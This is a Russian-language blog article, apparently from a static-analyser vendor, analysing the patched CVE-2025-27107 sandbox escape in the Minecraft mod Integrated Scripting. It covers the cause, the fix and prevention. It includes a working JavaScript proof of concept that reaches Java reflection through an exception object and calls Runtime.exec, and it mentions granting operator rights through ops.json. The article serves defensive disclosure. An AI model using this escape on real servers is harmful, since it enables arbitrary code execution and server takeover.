Уверен, что многие владельцы Minecraft-проектов сталкивались с игроками, которые хотели взломать сервер и выдать себе права администратора. Я понимаю, что подобное случается не только в играх, и из научного интереса изучаю, как и почему это происходит. В этой статье мы рассмотрим уязвимость в моде Integrated Scripting.

Дисклеймер! Статья — не учебное пособие про взлом серверов. Она освещает уже исправленную уязвимость CVE-2025-27107 в моде Integrated Scripting и показывает, как заранее от неё защититься.
Кажется, что найти Java-программиста, который не играл в Minecraft, очень сложно. И почти все, кто играл в него, знают про огромное количество модификаций для этой игры, и какое огромное комьюнити вокруг них строится.
Помимо модификаций, превращающих кубическую игру в шутер или RPG не хуже некоторых AAA-проектов, о которых я частично упоминал в своей прошлой статье, основу составляют модификации, расширяющие уже существующий геймплей. К ним относится и Integrated Dynamics.

Integrated Dynamics — это мод для автоматизации и управления системами в игре. Он позволяет создавать сложные сети, сочетая механики редстоуна, логических вентилей и энергосетей. Добавляет функции для передачи предметов, жидкостей и энергии, автокрафтинга, работы с NBT-данными и HTTP-взаимодействия.
На его базе можно создавать сложные системы обработки ресурсов, большие хранилища или оптимизировать некоторые рутинные игровые задачи. По возможностям он напоминает Applied Energistics 2, к которому мы, возможно, ещё притронемся в рамках нашего блога.
У мода есть множество аддонов, но в этой статье мы сосредоточимся на одном — Integrated Scripting.
Integrated Scripting — это аддон для модификации Integrated Dynamics, позволяющий писать скрипты на языке JavaScript, которые затем можно сохранять в Variable card. Эти карточки используются в механизмах для хранения и передачи данных. Например, с помощью логической функции можно задать, какие конкретно предметы и в каком случае мы хотим передавать в систему.

Как вам IDE? Базовый минимум — подсветка, вывод компилятора. С переносом, конечно, есть проблемы.
Со всеми вводными разобрались, теперь переходим к самой CVE.
Начнём с названия: что такое CVE? Разберём тезисно, более подробно об этом написано тут.
Common Vulnerabilities and Exposures (CVE) — список известных уязвимостей и дефектов безопасности. Его формирует компания MITRE — американская некоммерческая организация, которая специализируется в области системной инженерии. Список состоит из записей, каждая из которых описывает одну общеизвестную и уже исправленную уязвимость. Одна из таких записей как раз принадлежит нашему "подопытному" моду. Формат названия выглядит так: CVE-ГОД-ID.
Теперь наденем детективную шляпу и приступим к изучению материалов дела CVE-2025-27107. 13 марта 2025 года в официальном GitHub-репозитории мода IntegratedScripting в разделе Security была опубликована запись о возможности произвольного выполнения кода с использованием рефлексии.
Выполнение произвольного кода (Arbitrary Code Execution, ACE) — это возможность для злоумышленника выполнять любые команды или код по своему выбору на целевой машине или в целевом процессе.
Удалённое выполнение кода (Remote Code Execution, RCE) — это разновидность выполнения произвольного кода, при которой злоумышленник может запускать команды на целевой системе удалённо, без физического доступа.
Автор записи chc4 утверждает, что, вызвав getClass().getClass() на объекте исключения в скрипте, мы получим объект java.lang.Class. Далее с помощью рефлексии можно вызвать Class.forNameи таким образом выполнить любой произвольный код на серверной машине.
Приведу сокращённый пример:
try {
// пытаемся получить исключение ClassCastException
idContext.ops.listGet(i, 1)
} catch(e) {
cls = e.getClass().getClass()
console.log(cls) // java.lang.Class
methods = cls.getMethods()
forName = methods.filter(x => x.getName() == "forName" &&
x.getParameterCount() == 1
)[0]
console.log(forName) // java.lang.Class.forName(java.lang.String)
runtimeClass = forName.invoke(null, "java.lang.Runtime")
getRuntimeMeth = runtimeClass.getMethod("getRuntime")
runtime = getRuntimeMeth.invoke(null)
execMethod = runtimeClass.getMethods()
.filter(x => x.getName() == "exec" &&
x.getParameterCount() == 1
)[0]
execMethod.invoke(runtime, "notepad.exe");
}
Более подробно о причине, почему в JavaScript нам удалось получить методы рефлексии из Java и почему на это не было ограничения, мы разберём в следующем пункте. Сейчас же я предлагаю вам очутиться на месте преступления. В первую очередь нам понадобится Minecraft 1.21.1 с четырьмя модами определённых версий:
Далее мы построим вот такую конструкцию в игре.

В конструкции используются:
После этого нам нужно вставить скрипт, который выполняет notepad.exe, в карту и поместить её в экспортёр. Затем просто кладём вещи в сундук и видим магию:

Вместо вызова notepad.exe скрипт может выполнить произвольную команду операционной системы или, к примеру, добавить игрока в список администраторов сервера через файл ops.json.
Давайте разберёмся, почему это произошло и как уязвимость была исправлена.
Принцип работы простой: Integrated Scripting использует компилятор Polyglot. Он позволяет запускать разные языки программирования на JVM, поэтому мод может интерпретировать скрипты и передавать их результат в систему Integrated Dynamics.
Внутри библиотеки за выполнение кода отвечает класс Context. Он настраивается через Context.Builder, где разработчик может указать, какие возможности будут доступны скрипту: от доступа к Java-объектам до работы с потоками и вводом-выводом :
Файл: ScriptHelpers.java:46
public static Context createBaseContext(....) {
Context.Builder contextBuilder = Context
.newBuilder()
.engine(ENGINE)
// .allowAllAccess(true)
.allowCreateProcess(GeneralConfig.graalAllowCreateProcess)
.allowCreateThread(GeneralConfig.graalAllowCreateThread)
.allowIO(GeneralConfig.graalAllowIo)
.allowHostClassLoading(GeneralConfig.graalAllowHostClassLoading)
.allowExperimentalOptions(GeneralConfig.graalAllowExperimentalOptions)
.allowNativeAccess(GeneralConfig.graalAllowNative)
.allowHostAccess(HostAccess.ALL) // <=
.allowInnerContextOptions(false);
....
return contextBuilder.build();
}
Разработчик не разрешал прямой доступ к Java-классам, однако в приведённом выше фрагменте настройка allowHostAccess(HostAccess.ALL) в том числе разрешает скрипту полный доступ к рефлексии. Об этом говорится в документации к этой настройке:
Обратите внимание, что эта политика разрешает неограниченный доступ к рефлексии. Настоятельно не рекомендуется использовать эту политику в средах, где гостевое приложение не является полностью доверенным.
Ошибка разработчиков мода заключалась именно в этом: они разрешили доступ к рефлексии, что позволило выполнять произвольный код в Java-окружении, в котором запущена серверная часть мода. Именно это мы и использовали в нашем "эксплойте".
Исправили эту уязвимость просто: разработчик заменил HostAccess.ALL на индивидуальную настройку через HostAccess.Builder и перенёс все параметры в конфигурацию мода GeneralConfig. Администраторы серверов могут самостоятельно настраивать параметр allowPublicAccess, который отвечает за предоставление неограниченного доступа к рефлексии. Теперь по умолчанию эта настройка отключена.
Вот как теперь выглядит файл с настройкой: ScriptHelpers.java:41
.allowHostAccess(HostAccess.newBuilder()
.allowPublicAccess(GeneralConfig.graalAllowHostPublicAccess) // default false
.allowAllImplementations(GeneralConfig.graalAllowHostAllImplementations)
.allowAllClassImplementations(
GeneralConfig.graalAllowHostAllClassImplementations
)
.allowArrayAccess(GeneralConfig.graalAllowHostArrayAccess)
.allowListAccess(GeneralConfig.graalAllowHostListAccess)
.allowBufferAccess(GeneralConfig.graalAllowHostBufferAccess)
.allowIterableAccess(GeneralConfig.graalAllowHostIterableAccess)
.allowIteratorAccess(GeneralConfig.graalAllowHostIteratorAccess)
.allowMapAccess(GeneralConfig.graalAllowHostMapAccess)
.allowAccessInheritance(GeneralConfig.graalAllowHostAccessInheritance)
.build()
)
Интересно, что подобные уязвимости в Minecraft‑сообществе, к сожалению, возникают далеко не впервые. Достаточно вспомнить Log4Shell (CVE‑2021‑44228), которая в 2021 году буквально взорвала не только Minecraft, но и половину интернета. Одна ошибка в библиотеке привела к массовому удалённому выполнению кода и настоящей панике среди администраторов серверов. Я тогда варился в Minecraft‑серверах и прекрасно помню, как мне предлагали купить "патченную" версию Log4j с удалённым функционалом для взлома.
В эпоху версии 1.7.10 произошёл ещё один серьёзный инцидент — уязвимость удалённого выполнения кода в моде BiblioCraft (CVE‑2023‑29478). Она позволяла с помощью атаки Path Traversal подложить серверу мод с полезной нагрузкой, что делало эксплуатацию чрезвычайно простой и опасной.
Как показывает практика, взломать Minecraft‑сервер куда проще, чем может показаться на первый взгляд. Обнаруженная уязвимость оказалась действительно опасной, однако разработчики выпустили исправление, а владельцы серверов своевременно обновились, что позволило минимизировать последствия.
Эта история ещё раз напоминает, насколько важно внимательно относиться к установке модификаций. Даже популярные проекты не застрахованы от критических ошибок: уязвимая версия мода (1.0.16) до сих пор свободно лежит на первой странице мода на CurseForge и доступна для скачивания без каких‑либо предупреждений.
Чтобы обезопаситься от подобных уязвимостей, стоит регулярно выполнять статический анализ кода. Он помогает выявлять небезопасные конструкции, потенциально опасные участки логики и ошибки, которые способны привести к проблемам безопасности приложения. Например, диагностическое правило анализатора PVS-Studio V5339 позволяет выявлять уязвимости выполнения удалённого кода в Polyglot. Для open source проектов существует вариант бесплатного лицензирования.
0